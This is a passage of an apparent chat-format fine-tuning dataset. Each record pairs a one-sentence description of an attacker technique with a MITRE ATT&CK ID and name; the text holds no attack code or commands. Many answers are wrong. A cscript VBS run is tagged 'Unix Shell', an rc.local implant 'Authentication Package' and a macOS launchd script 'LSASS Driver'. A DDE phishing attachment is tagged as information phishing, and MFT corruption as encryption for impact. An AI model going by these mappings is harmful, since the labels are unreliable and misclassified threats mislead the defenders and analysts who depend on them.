                "content": "T1591.002 - Gather Victim Org Information: Business Relationships"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A DCSync attack is carried out, allowing the attacker to request and receive password hashes directly from the domain controller's database."
            },
            {
                "role": "assistant",
                "content": "T1003.006 - OS Credential Dumping: DCSync"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A hidden launch daemon is installed in ~/Library/LaunchAgents, configured to run a reverse shell on user login."
            },
            {
                "role": "assistant",
                "content": "T1543.004 - Create or Modify System Process: Launch Daemon"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware corrupts the Master File Table, making the file system inaccessible."
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware drops a VBS file and runs it using 'cscript.exe' to perform credential dumping."
            },
            {
                "role": "assistant",
                "content": "T1059.004 - Command and Scripting Interpreter: Unix Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Compromised IoT devices are repurposed to join a botnet that performs large‑scale cryptocurrency mining."
            },
            {
                "role": "assistant",
                "content": "T1496 - Resource Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised SaaS platform leaks API keys that grant access to user email accounts."
            },
            {
                "role": "assistant",
                "content": "T1586.002 - Compromise Accounts: Email Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary gains access to a network device’s ROMMON mode and installs a custom firmware image that executes malicious commands during the boot process."
            },
            {
                "role": "assistant",
                "content": "T1542.004 - Pre-OS Boot: ROMMONkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses a custom script to monitor IRC channel traffic for any passwords or secrets accidentally disclosed by users."
            },
            {
                "role": "assistant",
                "content": "T1552.008 - Unsecured Credentials: Chat Messages"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion sets up a recurring Azure Automation runbook that sends collected intelligence to the attacker’s cloud bucket."
            },
            {
                "role": "assistant",
                "content": "T1029 - Scheduled Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary performs Application Window Discovery by scanning for visible windows on the user’s session to find a target program."
            },
            {
                "role": "assistant",
                "content": "T1010 - Application Window Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A spearphishing campaign delivers a ransomware-laden Excel file renamed 'Budget.xlsx' with malicious DDE commands that execute a remote code payload upon opening."
            },
            {
                "role": "assistant",
                "content": "T1598.002 - Phishing for Information: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary distributes a poisoned shared library through a software update mechanism, affecting all downstream applications that use it."
            },
            {
                "role": "assistant",
                "content": "T1129 - Shared Modules"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During the intrusion, the malware extracts credential data from /etc/passwd and /etc/shadow files."
            },
            {
                "role": "assistant",
                "content": "T1003.008 - OS Credential Dumping: /etc/passwd and /etc/shadow"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware injected its payload via DLL hijacking, replacing a legitimate library in the target process."
            },
            {
                "role": "assistant",
                "content": "T1055.001 - Process Injection: Dynamic-link Library Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Intruder provisions a new Office 365 user account and assigns it admin rights for lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1585.003 - Establish Accounts: Cloud Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker sets up a multi-hop proxy chain using compromised machines to hide the C2 server."
            },
            {
                "role": "assistant",
                "content": "T1090.003 - Proxy: Multi-hop Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using Fast Flux, the adversary continuously updates DNS records to point to compromised hosts, obscuring the true server location."
            },
            {
                "role": "assistant",
                "content": "T1568.001 - Dynamic Resolution: Fast Flux DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers compromise the development environment of a software vendor, inserting malicious code into the source repository that propagates to downstream customers."
            },
            {
                "role": "assistant",
                "content": "T1195.001 - Supply Chain Compromise: Compromise Software Dependencies and Development Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A persistent foothold is achieved by planting a malicious binary in the /etc/rc.local file on Linux systems."
            },
            {
                "role": "assistant",
                "content": "T1547.002 - Boot or Logon Autostart Execution: Authentication Package"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker leveraged a compromised monitoring server to disable alerts and hide their malicious activity."
            },
            {
                "role": "assistant",
                "content": "T1584.004 - Compromise Infrastructure: Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After obtaining privileged access, the adversary changes the default web page content to a defaced message, making it publicly accessible."
            },
            {
                "role": "assistant",
                "content": "T1491.002 - Defacement: External Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The victim's machine runs a malicious JAR file using the Java Runtime Environment (java.exe)."
            },
            {
                "role": "assistant",
                "content": "T1203 - Exploitation for Client Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor searches public GitHub and GitLab repositories for hard‑coded API keys and credentials."
            },
            {
                "role": "assistant",
                "content": "T1593.003 - Search Open Websites/Domains: Code Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors use the 'at' command to schedule a command-line utility to run weekly."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised installer adds its own installation directory to the PATH before the legitimate application directories, causing the system to load the malicious code."
            },
            {
                "role": "assistant",
                "content": "T1574.007 - Hijack Execution Flow: Path Interception by PATH Environment Variable"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A PowerShell script calls the Get-ItemProperty cmdlet on the HKLM:\\SYSTEM\\CurrentControlSet\\Control\\Lsa key to read the Security Account Manager secrets."
            },
            {
                "role": "assistant",
                "content": "T1003.002 - OS Credential Dumping: Security Account Manager"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary utilizes the PubPrn proxy execution method to run a credential dumping script under SYSTEM context."
            },
            {
                "role": "assistant",
                "content": "T1216.001 - System Script Proxy Execution: PubPrn"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors utilize the cloud provider’s web console to start a remote console session on a compromised virtual machine."
            },
            {
                "role": "assistant",
                "content": "T1021.008 - Remote Services: Direct Cloud VM Connections"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red team uses systemctl mask to hide a compromised service from normal listings."
            },
            {
                "role": "assistant",
                "content": "T1543.002 - Create or Modify System Process: Systemd Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder accesses public exploit databases like Exploit-DB to download proof‑of‑concept exploits for known CVEs."
            },
            {
                "role": "assistant",
                "content": "T1596 - Search Open Technical Databases"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker abused the transport agent registration API to install a hidden module that executes commands received via crafted email content."
            },
            {
                "role": "assistant",
                "content": "T1505.002 - Server Software Component: Transport Agent"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware extracts browser cookies and writes them to a text‑storage site like Pastebin, using the site's API to hide the transfer from network monitors."
            },
            {
                "role": "assistant",
                "content": "T1567.003 - Exfiltration Over Web Service: Exfiltration to Text Storage Sites"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor uses PowerShell to stop the anti-virus process and rename its executable."
            },
            {
                "role": "assistant",
                "content": "T1562.001 - Impair Defenses: Disable or Modify Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using PowerShell, the threat actor queries the HKCU registry hive to retrieve the username of the logged‑in account."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor performs a network sweep to identify active hosts and catalog the services running on each machine."
            },
            {
                "role": "assistant",
                "content": "T1046 - Network Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker sets Outlook's startup homepage to a malicious URL, causing automatic loading of harmful content whenever the application starts."
            },
            {
                "role": "assistant",
                "content": "T1137.004 - Office Application Startup: Outlook Home Page"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker adds a malicious entry to the GNOME startup applications list on a Linux desktop."
            },
            {
                "role": "assistant",
                "content": "T1547.013 - Boot or Logon Autostart Execution: XDG Autostart Entries"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries drop a malicious .cer file onto the victim system and import it into the Windows certificate store to gain persistence."
            },
            {
                "role": "assistant",
                "content": "T1608.003 - Stage Capabilities: Install Digital Certificate"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors obtain a low-cost virtual machine to act as a relay for command and control traffic."
            },
            {
                "role": "assistant",
                "content": "T1583.004 - Acquire Infrastructure: Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious software calls ptrace(PTRACE_ATTACH) to gain control over a victim process and then uses PTRACE_POKEDATA to inject code."
            },
            {
                "role": "assistant",
                "content": "T1055.008 - Process Injection: Ptrace System Calls"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware was delivered as a packed binary using a custom packer that encrypts the payload at runtime."
            },
            {
                "role": "assistant",
                "content": "T1027.002 - Obfuscated Files or Information: Software Packing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor replaces a legitimate USB driver with a malicious version, enabling persistent access after the device is connected."
            },
            {
                "role": "assistant",
                "content": "T1092 - Communication Through Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary exploits a vulnerability in the bootloader to load an older, unpatched system image during startup."
            },
            {
                "role": "assistant",
                "content": "T1601.002 - Modify System Image: Downgrade System Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post-exploitation script disables automatic backup schedules and wipes all historical backup data."
            },
            {
                "role": "assistant",
                "content": "T1490 - Inhibit System Recovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker writes stolen files using a unique ASCII85 encoding, making them appear as normal text."
            },
            {
                "role": "assistant",
                "content": "T1132.002 - Data Encoding: Non-Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries created a shortcut named \"Microsoft Office Update.lnk\" pointing to their payload, placing it on the victim's desktop to blend in with genuine update shortcuts."
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary employs the macOS launchd daemon to run a malicious script at system startup."
            },
            {
                "role": "assistant",
                "content": "T1547.008 - Boot or Logon Autostart Execution: LSASS Driver"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script automates the generation of valid session tokens based on known token generation algorithms, allowing the attacker to log in without valid credentials."
            },
            {
                "role": "assistant",
                "content": "T1606 - Forge Web Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A cyber‑crime group creates a VPN gateway in a neglected cloud region, tunneling malicious traffic through it to conceal the origin of their attacks."
            },
            {
                "role": "assistant",
                "content": "T1535 - Unused/Unsupported Cloud Regions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A ransomware dropper disables the host's firewall by deleting the firewall service from the system startup."
            },
            {
                "role": "assistant",
                "content": "T1562.004 - Impair Defenses: Disable or Modify System Firewall"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AAPT removes recent connection records from the system’s Netsh interface and deletes persistent routing tables."
            },
            {
                "role": "assistant",
                "content": "T1070.007 - Indicator Removal: Clear Network Connection History and Configurations"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During lateral movement, the intruder uses regsvcs.exe to execute a .NET payload on a remote machine, leveraging the tool's trusted status."
            },
            {
                "role": "assistant",
                "content": "T1218.009 - System Binary Proxy Execution: Regsvcs/Regasm"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker sends a bespoke phishing email to a project manager, with a link to a cloned cloud storage portal that deploys ransomware after authentication."
            },
            {
                "role": "assistant",
                "content": "T1598.003 - Phishing for Information: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using Outlook's custom form storage, the malware registers a form that runs a command to add a registry run key for persistence."
            },
            {
                "role": "assistant",
                "content": "T1137.003 - Office Application Startup: Outlook Forms"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cybercriminals open a Telegram channel and invite compromised devices to join, using it as a C2 channel."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A cybercriminal uses steganography to embed a phishing link within the pixel data of an advertisement banner image."
            },
            {
                "role": "assistant",
                "content": "T1001.002 - Data Obfuscation: Steganography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a custom tool, the threat group automatically pulls and parses data from public vulnerability scanners’ result archives to map potential weaknesses."
            },
            {
                "role": "assistant",
                "content": "T1596.005 - Search Open Technical Databases: Scan Databases"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious executable scans for the presence of hypervisor-specific files such as C:\\Windows\\System32\\drivers\\vmmouse.sys."
            },
            {
                "role": "assistant",
                "content": "T1497.001 - Virtualization/Sandbox Evasion: System Checks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker modifies the default IIS web.config file to enable directory browsing and upload malicious scripts."
            },
            {
                "role": "assistant",
                "content": "T1505.004 - Server Software Component: IIS Components"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through a supply chain attack, the threat actor inserts a mining module into legitimate software updates, resulting in widespread resource hijacking."
            },
            {
                "role": "assistant",
                "content": "T1496 - Resource Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A stealthy payload replaces the legitimate password filter with a malicious version, enabling the extraction of passwords as they are entered by users."
            },
            {
                "role": "assistant",
                "content": "T1556.002 - Modify Authentication Process: Password Filter DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor generates a local account on the compromised host to enable later logins."
            },
            {
                "role": "assistant",
                "content": "T1136.001 - Create Account: Local Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "While establishing persistence, the backdoor silently checks the registry for existing startup entries, specifically targeting HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run."
            },
            {
                "role": "assistant",
                "content": "T1012 - Query Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a compromised machine with domain admin privileges, the attacker executed a DCSync command to pull credential data from the AD database."
            },
            {
                "role": "assistant",
                "content": "T1003.006 - OS Credential Dumping: DCSync"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker examined reverse DNS lookups in publicly available DNS logs to discover internal server names."
            },
            {
                "role": "assistant",
                "content": "T1596.001 - Search Open Technical Databases: DNS/Passive DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker renamed a malicious executable to 'svchost.exe' and placed it in the System32 folder to blend in with legitimate Windows processes."
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors use the System Script Proxy Execution: PubPrn method to execute a malicious command line on the target via the print service."
            },
            {
                "role": "assistant",
                "content": "T1216.001 - System Script Proxy Execution: PubPrn"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious software uses the \"cmd.exe /c\" command to chain multiple commands that disable security services and launch the main payload."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker defines an Emond trigger that runs a persistence script whenever the system time changes."
            },
            {
                "role": "assistant",
                "content": "T1546.014 - Event Triggered Execution: Emond"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor accesses a paid subscription database of market research reports to obtain detailed information about the target company's upcoming product launches."
            },
            {
                "role": "assistant",
                "content": "T1597 - Search Closed Sources"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor encrypts harvested credentials with a shared secret key and exfiltrates them via an HTTP POST to a malicious web server, separate from its C2 channel."
            },
            {
                "role": "assistant",
                "content": "T1048.001 - Exfiltration Over Alternative Protocol: Exfiltration Over Symmetric Encrypted Non-C2 Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor leverages the legitimate Windows utility odbcconf.exe to load a malicious DLL, effectively proxying execution of their payload."
            },
            {
                "role": "assistant",
                "content": "T1218.008 - System Binary Proxy Execution: Odbcconf"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary rents a VPS, installs a cryptocurrency miner, and uses the server's resources to mine while also using it as a stepping stone for lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1584.003 - Compromise Infrastructure: Virtual Private Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT actor abuses a compromised Google account to sync and download the victim's saved passwords from Google Password Manager."
            },
            {
                "role": "assistant",
                "content": "T1555.005 - Credentials from Password Stores: Password Managers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages the DYLD_LIBRARY_PATH environment variable to prepend a directory containing a malicious .dylib, causing the dynamic linker to resolve symbols from the rogue library first."
            },
            {
                "role": "assistant",
